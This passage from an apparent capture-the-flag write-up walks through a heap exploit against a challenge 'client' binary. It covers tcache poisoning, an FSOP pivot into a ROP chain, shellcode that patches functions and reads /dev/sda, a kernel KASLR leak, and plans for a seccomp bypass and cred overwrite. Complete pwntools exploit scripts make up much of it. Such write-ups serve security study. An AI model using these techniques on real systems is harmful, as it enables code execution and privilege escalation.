0x5634c093a2b0 0x00005634c093a450 0x00005634c093a530 P...4V..0...4V..
0x5634c093a2c0 0x00005634c093a7f0 0x00005634c093a770 ....4V..p...4V..
0x5634c093a2d0 0x00005634c093a6f0 0x00005634c093a670 ....4V..p...4V..
0x5634c093a2e0 0x00005634c093a5f0 0x00005634c093a330 ....4V..0...4V..
0x5634c093a2f0 0x00005634c093a870 0x0000000000000000 p...4V..........
0x5634c093a300 0x0000000000000000 0x0000000000000000 ................
0x5634c093a310 0x0000000000000000 0x0000000000000000 ................
0x5634c093a320 0x0000000000000000 0x0000000000000081 ................
...SNIP...
0x5634c093a3a0 0x0000000000000000 0x00000000000000a1 ................
0x5634c093a3b0 0x0000000a0000000a 0x414141410000007c ........|...AAAA
0x5634c093a3c0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a3d0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a3e0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a3f0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a400 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a410 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a420 0x4141414141414141 0x0000000000000081 AAAAAAAA........
0x5634c093a430 0x4141414141414141 0x00007f0368f84b20 AAAAAAAA K.h....
0x5634c093a440 0x4141414141414141 0x0000000000000061 AAAAAAAAa.......
0x5634c093a450 0x0000000200000002 0x4141414100000040 ........@...AAAA
0x5634c093a460 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a470 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a480 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a490 0x4141414141414141 0x0000000041414141 AAAAAAAAAAAA....
0x5634c093a4a0 0x0000000000000060 0x0000000000000081 `...............
...SNIP...
0x5634c093a860 0x0000000000000000 0x0000000000000061 ........a.......
0x5634c093a870 0x0000000a0000000a 0x4141414100000040 ........@...AAAA
0x5634c093a880 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a890 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a8a0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5634c093a8b0 0x4141414141414141 0x3131313141414141 AAAAAAAAAAAA1111
0x5634c093a8c0 0x3131313131313131 0x0000000000020741 11111111A....... <-- Top chunk

Now we free the standalone 0x60 (idx 10), then free the overlapped 0x60 (idx 2), then free the 0x80 (idx 1) which overlaps it. This gives us two entries in tcachebins[0x60] and one in tcachebins[0x80]:

free(10)
free(2)
free(1)
pwndbg> vis -a
...SNIP...
0x5634c093a290  0x0000000000000000      0x0000000000000091      ................
0x5634c093a2a0  0x00005634c093a3b0      0x0000000000000000      ....4V..........
0x5634c093a2b0  0x0000000000000000      0x00005634c093a530      ........0...4V..
0x5634c093a2c0  0x00005634c093a7f0      0x00005634c093a770      ....4V..p...4V..
0x5634c093a2d0  0x00005634c093a6f0      0x00005634c093a670      ....4V..p...4V..
0x5634c093a2e0  0x00005634c093a5f0      0x00005634c093a330      ....4V..0...4V..
0x5634c093a2f0  0x0000000000000000      0x0000000000000000      ................
0x5634c093a300  0x0000000000000000      0x0000000000000000      ................
0x5634c093a310  0x0000000000000000      0x0000000000000000      ................
0x5634c093a320  0x0000000000000000      0x0000000000000081      ................
...SNIP...
0x5634c093a3a0  0x0000000000000000      0x00000000000000a1      ................
0x5634c093a3b0  0x0000000a0000000a      0x414141410000007c      ........|...AAAA
0x5634c093a3c0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a3d0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a3e0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a3f0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a400  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a410  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a420  0x4141414141414141      0x0000000000000081      AAAAAAAA........
0x5634c093a430  0x00000005634c093a      0xfdfa32af3e0978e1      :.Lc.....x.>.2..         <-- tcachebins[0x80][0/1]
0x5634c093a440  0x4141414141414141      0x0000000000000061      AAAAAAAAa.......
0x5634c093a450  0x00005631a3dfa14a      0xfdfa32af3e0978e1      J...1V...x.>.2..         <-- tcachebins[0x60][0/2]
0x5634c093a460  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a470  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a480  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a490  0x4141414141414141      0x0000000041414141      AAAAAAAAAAAA....
0x5634c093a4a0  0x0000000000000060      0x0000000000000081      `...............
...SNIP...
0x5634c093a860  0x0000000000000000      0x0000000000000061      ........a.......
0x5634c093a870  0x00000005634c093a      0xfdfa32af3e0978e1      :.Lc.....x.>.2..         <-- tcachebins[0x60][1/2]
0x5634c093a880  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a890  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a8a0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5634c093a8b0  0x4141414141414141      0x3131313141414141      AAAAAAAAAAAA1111
0x5634c093a8c0  0x3131313131313131      0x0000000000020741      11111111A.......         <-- Top chunk
pwndbg> tcachebins
0x20 [  2]: 0x5634c093a5d0 —▸ 0x5634c093a5b0 ◂— 0
0x60 [  2]: 0x5634c093a450 —▸ 0x5634c093a870 ◂— 0
0x80 [  1]: 0x5634c093a430 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

Now we allocate the 0x80 chunk (which overlaps the first 0x60 tcache entry) and overwrite fd pointer to _IO_list_all-0x10 (mangled). After that just allocate on twice where the second allocation returns _IO_list_all-0x10 and you get write on _IO_list_all-0x4 and overwrite it to heap memory where we will place the fake file structure.

make(name=(b'A'*(4+8)+p64(0x60|1)+p64((libc.sym._IO_list_all-0x10)^(heap_base>>12))).ljust(0x60, b'\x00'))
make(name=b'A'*0x40)
make(name=(b'A'*4+p64(heap_base+0x9c0)).ljust(0x40, b'\x00'))
pwndbg> x/gx &_IO_list_all
0x7f40b2d0c4c0 <_IO_list_all>:  0x00005581bb60d9c0

Pivoting to shellcode via fsop

Now that _IO_list_all points to heap memory we can write fake file struct there that when triggered in exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all pivots into a rop chain that basically mprotect’s heap page where we placed our shellcode to rwx and jump to it!

'''
0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18]
0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret;
 
0x0011ecf7: syscall; ret;
0x0016032d: pop rsi; ret;
0x00189481: pop rdi; ret;
0x0011266f: pop rax; ret;
0x00160234: pop rdx; pop rbx; ret;
0x0015f4d9: pop rsp; ret;
'''
fs = flat({
    0x00: b'  sh',
    0x08: p64(heap_base+0x9c0+0x10-0x18),
    0x10: p64(libc.address+0x1547be),
    0x20: p64(0),
    0x28: p64(1),
    0x88: p64(libc.address+0x1e87a0),
    0xa0: p64(heap_base+0x9c0+0xe0),
    0xc0: p64(0),
    0xd8: p64(libc.sym._IO_wfile_jumps),
    0xe0+0x18: p64(0),
    0xe0+0x30: p64(0),
    0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68),
    0xe0+0xe8: p64(libc.address+0x14acdc),
}, filler=b'\x00')
 
rop  = flat([
    libc.address+0x189481, heap_base+0x1000,
    libc.address+0x16032d, 0x1000,
    libc.address+0x160234, 7, 0,
    libc.address+0x11266f, 10,
    libc.address+0x11ecf7,
    libc.address+0x15f4d9, heap_base+0x1010
])

I’m using _IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE chain which you can read more about here. _IO_WDOALLOCATE basically calls fp->_wide_data->_wide_vtable->__doallocate which we have set to the following rop gadget:

push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18]

At call time we control the following registers:

rax: _wide_data->_wide_vtable
rbx: fp
rdx: _wide_data
rdi: fp
r14: _codecvt
rbp: fp
rip: [_wide_data->_wide_vtable + 0x68]

So, it basically sets rsp to _wide_data->_wide_vtable and jumps to [_wide_data->_wide_vtable+0x8]+0x18 which in this case is add rsp, 0x110; pop rbx; pop rbp; pop r12; ret; which returns to +0x110+0x18 where we have placed our rop chain that jumps to shellcode.

The shellcode basically mprotect’s binary’s .text section, writes stack & binary leak to stdout and patches some functions:

  • check_pic() at offset +0x18a9 — patched to xor eax, eax; ret so it always returns 0, unlocking the kernel heap overflow.
  • delete_pic() at offset +0x1d7c — patched from mov edx, eax to mov ecx, eax so the pic id lands in the correct argument position for PIC_DELETE (covered earlier).
  • view_pic() — the local buffer and all stack offsets use -0x20XX displacement in their immediates; every 0x20 byte is swapped to 0xf0 throughout the function, expanding the buffer from 0x2000 to 0xf000 bytes. This covers both the cmp eax, 0x2000 limit checks (input validation and return value) and all [rbp-0x20XX] stack accesses, giving enough headroom to read across multiple slab objects for the kaslr leak.
  • sort_r() — patch add eax, 0x1 at +0x13d4 (the +1 in n2 = r - m + 1) from 0x1 to 0x0, making n2 = r - m to remove the out of bound since we no longer need it.
  • main() — overwrite the leave; ret instruction with shellcode that opens, reads and writes /dev/sda (this will run when we exit)

After patching it pivots back into the binary’s main loop to resume normal operation:

sc  = b''
sc += asm('nop')*0x20
sc += asm(f'''
  mov rax, qword ptr [rsp]
  mov rax, qword ptr [rax]
  sub rax, 208
  mov r12, rax
  mov rax, qword ptr [rax]
  sub rax, 0x4d40
  add rax, 0x1000
  mov r13, rax
  mov rdi, r13
  mov rsi, 0x2000
  mov rdx, 7
  mov rax, 10
  syscall
  mov rdi, 1
  mov rsi, qword ptr [rsp]
  mov rdx, 0x8
  mov rax, 1
  syscall
  mov qword ptr [rsp], r13
  lea rsi, qword ptr [rsp]
  mov rdx, 0x8
  mov rax, 1
  syscall
  mov rax, r13
 
  add rax, 0x8a9
  mov rdi, rax
  mov byte ptr [rdi], 0x48
  mov byte ptr [rdi+1], 0x31
  mov byte ptr [rdi+2], 0xc0
  mov byte ptr [rdi+3], 0xc3
 
  mov rax, r13
  add rax, 0x3d4
  mov rdi, rax
  mov byte ptr [rdi], 0x0
 
  mov rax, r13
  add rax, 0xdcc
  mov rdi, rax
  {"".join([f"mov byte ptr [rdi+{hex(x)}], 0xf0;" for x in [0x08, 0x15f, 0x1a4]])}
  {"".join([f"mov byte ptr [rdi+{hex(x)}], 0x0f;" for x in [0x1d,0x28,0x53,0x70,0x8f,0xb1,0xc6,0xcd,0xd4,0xda,0xf9,0x116,0x139,0x15a,0x16c,0x18f,0x196,0x1a0,0x1c1,0x1c8,0x1e2,0x1ff,0x21b]])}
 
  mov rax, r13
  add rax, 0xd7c
  mov rdi, rax
  mov byte ptr [rdi], 0x89
  mov byte ptr [rdi+1], 0xc1
 
  mov rax, r13
  add rax, 0x1188
  mov rdi, rax
  {"".join([f"mov byte ptr [rdi+{hex(i)}], {hex(b)};" for i, b in enumerate(asm(shellcraft.open('/dev/sda', 0) + shellcraft.read('rax', 'rsp', 0x1000) + shellcraft.write(1, 'rsp', 0x1000)))])}
 
  mov rax, r13
  add rax, 0x10e8
  mov rsp, r12
  add rsp, 8
  mov rbp, rsp
  sub rsp, 0x10
  push rax
  ret
''')
sc  = sc.ljust((len(sc)+0x1f)//0x20*0x20, b'\x90')

We write the fake file struct, rop chain, and shellcode and trigger everything by sending option 4:

make(name=b'A'*4+fs+b'A'*0xb8+rop+b'\x00'*0x250)
make(name=(b'A'*(0x64+144)+p64(heap_base+0x1020)+p64(libc.sym.environ)+sc).ljust(0x500, b'\x00'))
io.sendlineafter(b"choice: ", b"4")
 
sleep(1)
io.recvline()
stack = u64(io.recv(8))
exe.address = u64(io.recv(8)) - 0x1000
log.info(f'{stack = :#014x}')
log.info(f'{exe.address = :#014x}')

So, exit()->__run_exit_handlers->_IO_cleanup->_IO_flush_all->_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->fp->_wide_data->_wide_vtable->__doallocate is called which pivots to the rop chain and the rop chain mprotect’s the heap as rwx and jumps to it! The shellcode patches out the functions listed above and returns back to the main menu loop! With check_pic() neutralized in userspace, we can now leverage the PIC_CREATE heap overflow to achieve prives.

Leaking kernel base

Before we move into this part let’s make some changes to our exploit script. Basically as now we are moving into the kernel exploitation part we have to launch run.sh and attaches gdb to the kernel so, after changes our exploit script becomes:

#!/usr/bin/env python3
from pwn import *
 
exe  = context.binary = ELF(args.EXE or './client')
libc = ELF('./libc.so.6')
 
def make(name=None, data=p32(0x13379001), iss=0):
    if name is None: name = os.urandom(0x10)
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"name len: ", str(len(name)).encode())
    io.sendlineafter(b"name: ", name.hex().encode())
    io.sendlineafter(b"pic len: ", str(len(data)).encode())
    io.sendlineafter(b"pic: ", data.hex().encode())
    io.sendlineafter(b"save pic? ", str(iss).encode())
 
def free(idx, iss=0):
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"delete pic? ", str(iss).encode())
 
def view(idx, iss=0, count=0):
    io.sendlineafter(b"choice: ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"view pic? ", str(iss).encode())
    if iss: io.sendlineafter(b"count: ", str(count).encode())
    io.recvuntil(b'index: ')
    m = re.search(rb"(\d+), id: (\d+), name: (.+)", io.recvline())
    if not m: return None, None, None
    return int(m.group(1)), int(m.group(2)), m.group(3).strip()
 
def demangle(v):
  m = 0xfff << 52
  while m: v ^= (v & m) >> 12; m >>= 12
  return v
 
gdbscript = '''
init-pwndbg
c
'''.format(**locals())
 
io = process(["/bin/sh", "./run.sh"])
 
for i in range(5): make(name=b'A'*0x60)
for i in range(5): free(i)
for i in range(3): make(name=b'A'*0x60)
free(0)
free(1)
make(name=b'A'*0x60)
free(1)
lo, up, _ = view(0)
heap_base = (demangle(up<<32|lo)>>12)<<12
log.info(hex(heap_base))
for i in range(7+2): make(name=b'A'*0x60)
for i in range(4, 10): free(i)
free(2)
free(3)
free(1)
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"index: ", b'1'*0xfff)
lo, up, _ = view(0)
libc.address = (up<<32|lo) - 0x1e6b20
log.info(hex(libc.address))
make(name=b'A'*0x6c+p64(0x80|1)+b'A'*8)
make(name=b'A'*0x40)
for i in range(7): make(name=b'A'*0x60)
make(name=b'A'*0x40)
free(10)
free(2)
free(1)
make(name=(b'A'*(4+8)+p64(0x60|1)+p64((libc.sym._IO_list_all-0x10)^(heap_base>>12))).ljust(0x60, b'\x00'))
make(name=b'A'*0x40)
make(name=(b'A'*4+p64(heap_base+0x9c0)).ljust(0x40, b'\x00'))
 
'''
0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18]
0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret;
 
0x0011ecf7: syscall; ret;
0x0016032d: pop rsi; ret;
0x00189481: pop rdi; ret;
0x0011266f: pop rax; ret;
0x00160234: pop rdx; pop rbx; ret;
0x0015f4d9: pop rsp; ret;
'''
fs = flat({
    0x00: b'  sh',
    0x08: p64(heap_base+0x9c0+0x10-0x18),
    0x10: p64(libc.address+0x1547be),
    0x20: p64(0),
    0x28: p64(1),
    0x88: p64(libc.address+0x1e87a0),
    0xa0: p64(heap_base+0x9c0+0xe0),
    0xc0: p64(0),
    0xd8: p64(libc.sym._IO_wfile_jumps),
    0xe0+0x18: p64(0),
    0xe0+0x30: p64(0),
    0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68),
    0xe0+0xe8: p64(libc.address+0x14acdc),
}, filler=b'\x00')
 
rop  = flat([
    libc.address+0x189481, heap_base+0x1000,
    libc.address+0x16032d, 0x1000,
    libc.address+0x160234, 7, 0,
    libc.address+0x11266f, 10,
    libc.address+0x11ecf7,
    libc.address+0x15f4d9, heap_base+0x1010
])
 
sc  = b''
sc += asm('nop')*0x20
sc += asm(f'''
  mov rax, qword ptr [rsp]
  mov rax, qword ptr [rax]
  sub rax, 208
  mov r12, rax
  mov rax, qword ptr [rax]
  sub rax, 0x4d40
  add rax, 0x1000
  mov r13, rax
  mov rdi, r13
  mov rsi, 0x2000
  mov rdx, 7
  mov rax, 10
  syscall
  mov rdi, 1
  mov rsi, qword ptr [rsp]
  mov rdx, 0x8
  mov rax, 1
  syscall
  mov qword ptr [rsp], r13
  lea rsi, qword ptr [rsp]
  mov rdx, 0x8
  mov rax, 1
  syscall
  mov rax, r13
 
  add rax, 0x8a9
  mov rdi, rax
  mov byte ptr [rdi], 0x48
  mov byte ptr [rdi+1], 0x31
  mov byte ptr [rdi+2], 0xc0
  mov byte ptr [rdi+3], 0xc3
 
  mov rax, r13
  add rax, 0x3d4
  mov rdi, rax
  mov byte ptr [rdi], 0x0
 
  mov rax, r13
  add rax, 0xdcc
  mov rdi, rax
  {"".join([f"mov byte ptr [rdi+{hex(x)}], 0xf0;" for x in [0x08, 0x15f, 0x1a4]])}
  {"".join([f"mov byte ptr [rdi+{hex(x)}], 0x0f;" for x in [0x1d,0x28,0x53,0x70,0x8f,0xb1,0xc6,0xcd,0xd4,0xda,0xf9,0x116,0x139,0x15a,0x16c,0x18f,0x196,0x1a0,0x1c1,0x1c8,0x1e2,0x1ff,0x21b]])}
 
  mov rax, r13
  add rax, 0xd7c
  mov rdi, rax
  mov byte ptr [rdi], 0x89
  mov byte ptr [rdi+1], 0xc1
 
  mov rax, r13
  add rax, 0x1188
  mov rdi, rax
  {"".join([f"mov byte ptr [rdi+{hex(i)}], {hex(b)};" for i, b in enumerate(asm(shellcraft.open('/dev/sda', 0) + shellcraft.read('rax', 'rsp', 0x1000) + shellcraft.write(1, 'rsp', 0x1000)))])}
 
  mov rax, r13
  add rax, 0x10e8
  mov rsp, r12
  add rsp, 8
  mov rbp, rsp
  sub rsp, 0x10
  push rax
  ret
''')
sc  = sc.ljust((len(sc)+0x1f)//0x20*0x20, b'\x90')
 
make(name=b'A'*4+fs+b'A'*0xb8+rop+b'\x00'*0x250)
make(name=(b'A'*(0x64+144)+p64(heap_base+0x1020)+p64(libc.sym.environ)+sc).ljust(0x500, b'\x00'))
io.sendlineafter(b"choice: ", b"4")
 
sleep(1)
io.recvline()
stack = u64(io.recv(8))
exe.address = u64(io.recv(8)) - 0x1000
log.info(f'{stack = :#014x}')
log.info(f'{exe.address = :#014x}')
 
def make_chunk(data, pad=0): return p64(len(data)) + p64(pad) + data
def make_pic(chunks): return p32(0x13379001) + b"".join(chunks)
 
if args.GDB and not args.REMOTE:
  gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_")
  gdbinit.write(f"""
init-gef-bata
target remote localhost:1234
ksymaddr-remote-apply
c
""")
  gdbinit.flush()
  gdbinit.close()
  subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 
 
io.interactive()

Now that we have that out of the way, let’s figure out a way to leak a kernel address to bypass kaslr. The idea is to allocate 12 objects with a single chunk each to drain the slab, while each chunk overflows and overwrites the len field of the next chunk. By the end, the first chunk allocated in the slab is guaranteed to have been overflowed. So we read from that chunk to get a large over-read, then parse the data to check if we got a stable kernel leak. If we do, we calculate the kernel base and break out of the loop. Otherwise, we repeat the allocation process, which ends up allocating a fresh slab and gives us another shot at getting a leak.

kbase = 0
stable_leaks = {
    0x44cc0:  0x8137a0,
    0xa7e50: -0xb4f9f0,
    0xa7e10: -0xb4f9b0,
    0x47d80:  0x8106e0,
    0x939c0:  0x7c4aa0,
    0x02e00:  0x855660,
  }
leaks = []
with log.progress('hunting kleak') as p:
  for x in range(7):
    p.status(f'round {x+1}/7')
    for i in range(12): make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0)+p64(0xefff)+p64(0))]), iss=1)
    view(x*12, iss=1, count=0)
    data = io.recvuntil(b'index: ', drop=True).strip()
    for j in range(0, len(data)//8*8, 8):
      val = u64(data[j:j+8])
      if val not in leaks and 0xffffffff80000000 < val < 0xffffffffc0000000: leaks.append(val)
    for val in leaks:
      l20 = val & 0xfffff
      if l20 in stable_leaks: kbase = val+stable_leaks[l20]-0x1858460 ; break
    if kbase != 0: p.success(f'{kbase = :#014x}') ; break
    else: continue
  else: p.failure('failed to get kleak')

I calculated the stable_leaks array by running the exploit ~30 times and, for each run, logging the address of pic_list to a file so we can use it as a reference. I also recorded the leaks array, and then asked claude to look for repeating kernel addresses across runs that we can use to reliably recover kbase.

We can move all of the current code in a while loop:

#!/usr/bin/env python3
from pwn import *
 
exe  = context.binary = ELF(args.EXE or './client')
libc = ELF('./libc.so.6')
 
def start(argv=[], *a, **kw):
  if args.GDB:
    return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  else:
    return process([exe.path] + argv, *a, **kw)
 
def make(name=None, data=p32(0x13379001), iss=0):
  if name is None: name = os.urandom(0x10)
  io.sendlineafter(b"choice: ", b"1")
  io.sendlineafter(b"name len: ", str(len(name)).encode())
  io.sendlineafter(b"name: ", name.hex().encode())
  io.sendlineafter(b"pic len: ", str(len(data)).encode())
  io.sendlineafter(b"pic: ", data.hex().encode())
  io.sendlineafter(b"save pic? ", str(iss).encode())
 
def free(idx, iss=0):
  io.sendlineafter(b"choice: ", b"2")
  io.sendlineafter(b"index: ", str(idx).encode())
  io.sendlineafter(b"delete pic? ", str(iss).encode())
 
def view(idx, iss=0, count=0):
  io.sendlineafter(b"choice: ", b"3")
  io.sendlineafter(b"index: ", str(idx).encode())
  io.sendlineafter(b"view pic? ", str(iss).encode())
  if iss: io.sendlineafter(b"count: ", str(count).encode()) ; io.recvline() ; return
  io.recvuntil(b'index: ')
  m = re.search(rb"(\d+), id: (\d+), name: (.+)", io.recvline())
  if not m: return None, None, None
  return int(m.group(1)), int(m.group(2)), m.group(3).strip()
 
def demangle(v):
  m = 0xfff << 52
  while m: v ^= (v & m) >> 12; m >>= 12
  return v
 
gdbscript = '''
init-pwndbg
c
'''.format(**locals())
 
while True:
  io = process(["/bin/sh", "./run.sh"])
 
  for i in range(5): make(name=b'A'*0x60)
  for i in range(5): free(i)
  for i in range(3): make(name=b'A'*0x60)
  free(0)
  free(1)
  make(name=b'A'*0x60)
  free(1)
  lo, up, _ = view(0)
  heap_base = (demangle(up<<32|lo)>>12)<<12
  log.info(f'{heap_base = :#014x}')
  for i in range(7+2): make(name=b'A'*0x60)
  for i in range(4, 10): free(i)
  free(2)
  free(3)
  free(1)
  io.sendlineafter(b"choice: ", b"2")
  io.sendlineafter(b"index: ", b'1'*0xfff)
  lo, up, _ = view(0)
  libc.address = (up<<32|lo) - 0x1e6b20
  log.info(f'{libc.address = :#014x}')
  make(name=b'A'*0x6c+p64(0x80|1)+b'A'*8)
  make(name=b'A'*0x40)
  for i in range(7): make(name=b'A'*0x60)
  make(name=b'A'*0x40)
  free(10)
  free(2)
  free(1)
  make(name=(b'A'*(4+8)+p64(0x60|1)+p64((libc.sym._IO_list_all-0x10)^(heap_base>>12))).ljust(0x60, b'\x00'))
  make(name=b'A'*0x40)
  make(name=(b'A'*4+p64(heap_base+0x9c0)).ljust(0x40, b'\x00'))
 
  '''
  0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18]
  0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret;
 
  0x0011ecf7: syscall; ret;
  0x0016032d: pop rsi; ret;
  0x00189481: pop rdi; ret;
  0x0011266f: pop rax; ret;
  0x00160234: pop rdx; pop rbx; ret;
  0x0015f4d9: pop rsp; ret;
  '''
  fs = flat({
      0x00: b'  sh',
      0x08: p64(heap_base+0x9c0+0x10-0x18),
      0x10: p64(libc.address+0x1547be),
      0x20: p64(0),
      0x28: p64(1),
      0x88: p64(libc.address+0x1e87a0),
      0xa0: p64(heap_base+0x9c0+0xe0),
      0xc0: p64(0),
      0xd8: p64(libc.sym._IO_wfile_jumps),
      0xe0+0x18: p64(0),
      0xe0+0x30: p64(0),
      0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68),
      0xe0+0xe8: p64(libc.address+0x14acdc),
  }, filler=b'\x00')
 
  rop  = flat([
      libc.address+0x189481, heap_base+0x1000,
      libc.address+0x16032d, 0x1000,
      libc.address+0x160234, 7, 0,
      libc.address+0x11266f, 10,
      libc.address+0x11ecf7,
      libc.address+0x15f4d9, heap_base+0x1010
  ])
 
  sc  = b''
  sc += asm('nop')*0x20
  sc += asm(f'''
    mov rax, qword ptr [rsp]
    mov rax, qword ptr [rax]
    sub rax, 208
    mov r12, rax
    mov rax, qword ptr [rax]
    sub rax, 0x4d40
    add rax, 0x1000
    mov r13, rax
    mov rdi, r13
    mov rsi, 0x2000
    mov rdx, 7
    mov rax, 10
    syscall
    mov rdi, 1
    mov rsi, qword ptr [rsp]
    mov rdx, 0x8
    mov rax, 1
    syscall
    mov qword ptr [rsp], r13
    lea rsi, qword ptr [rsp]
    mov rdx, 0x8
    mov rax, 1
    syscall
    mov rax, r13
 
    add rax, 0x8a9
    mov rdi, rax
    mov byte ptr [rdi], 0x48
    mov byte ptr [rdi+1], 0x31
    mov byte ptr [rdi+2], 0xc0
    mov byte ptr [rdi+3], 0xc3
 
    mov rax, r13
    add rax, 0x3d4
    mov rdi, rax
    mov byte ptr [rdi], 0x0
 
    mov rax, r13
    add rax, 0xdcc
    mov rdi, rax
    {"".join([f"mov byte ptr [rdi+{hex(x)}], 0xf0;" for x in [0x08, 0x15f, 0x1a4]])}
    {"".join([f"mov byte ptr [rdi+{hex(x)}], 0x0f;" for x in [0x1d,0x28,0x53,0x70,0x8f,0xb1,0xc6,0xcd,0xd4,0xda,0xf9,0x116,0x139,0x15a,0x16c,0x18f,0x196,0x1a0,0x1c1,0x1c8,0x1e2,0x1ff,0x21b]])}
 
    mov rax, r13
    add rax, 0xd7c
    mov rdi, rax
    mov byte ptr [rdi], 0x89
    mov byte ptr [rdi+1], 0xc1
 
    mov rax, r13
    add rax, 0x1188
    mov rdi, rax
    {"".join([f"mov byte ptr [rdi+{hex(i)}], {hex(b)};" for i, b in enumerate(asm(shellcraft.open('/dev/sda', 0) + shellcraft.read('rax', 'rsp', 0x1000) + shellcraft.write(1, 'rsp', 0x1000)))])}
 
    mov rax, r13
    add rax, 0x10e8
    mov rsp, r12
    add rsp, 8
    mov rbp, rsp
    sub rsp, 0x10
    push rax
    ret
  ''')
  sc  = sc.ljust((len(sc)+0x1f)//0x20*0x20, b'\x90')
 
  make(name=b'A'*4+fs+b'A'*0xb8+rop+b'\x00'*0x250)
  make(name=(b'A'*(0x64+144)+p64(heap_base+0x1020)+p64(libc.sym.environ)+sc).ljust(0x500, b'\x00'))
  io.sendlineafter(b"choice: ", b"4")
 
  sleep(1)
  io.recvline()
  stack = u64(io.recv(8))
  exe.address = u64(io.recv(8)) - 0x1000
  log.info(f'{stack = :#014x}')
  log.info(f'{exe.address = :#014x}')
 
  def make_chunk(data, pad=0): return p64(len(data)) + p64(pad) + data
  def make_pic(chunks): return p32(0x13379001) + b"".join(chunks)
 
  kbase = 0
  stable_leaks = {
      0x44cc0:  0x8137a0,
      0xa7e50: -0xb4f9f0,
      0xa7e10: -0xb4f9b0,
      0x47d80:  0x8106e0,
      0x939c0:  0x7c4aa0,
      0x02e00:  0x855660,
    }
  leaks = []
  with log.progress('hunting kleak') as p:
    for x in range(7):
      p.status(f'round {x+1}/7')
      for i in range(12): make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0)+p64(0xefff)+p64(0))]), iss=1)
      view(x*12, iss=1, count=0)
      data = io.recvuntil(b'index: ', drop=True).strip()
      for j in range(0, len(data)//8*8, 8):
        val = u64(data[j:j+8])
        if val not in leaks and 0xffffffff80000000 < val < 0xffffffffc0000000: leaks.append(val)
      for val in leaks:
        l20 = val & 0xfffff
        if l20 in stable_leaks: kbase = val+stable_leaks[l20]-0x1858460 ; break
      if kbase != 0: p.success(f'{kbase = :#014x}') ; break
      else: continue
    else: p.failure('failed to get kleak')
  if kbase != 0: break
  io.close()
 
if args.GDB and not args.REMOTE:
  gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_")
  gdbinit.write(f"""
init-gef-bata
target remote localhost:1234
ksymaddr-remote-apply
c
""")
  gdbinit.flush()
  gdbinit.close()
  subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 
io.interactive()

Bypassing seccomp and overwrite cred struct

We can bypass seccomp by unsetting the SYSCALL_WORK_BIT_SECCOMP bit of thread_info->syscall_work because __secure_computing is only called if that bit is set. https://elixir.bootlin.com/linux/v6.18.6/source/include/linux/seccomp.h#L25

In order to do that we have to find the task struct of /client which we can do by walking the task doubly linked list and matching the comm field (+0xbf0) to check if it’s /client.

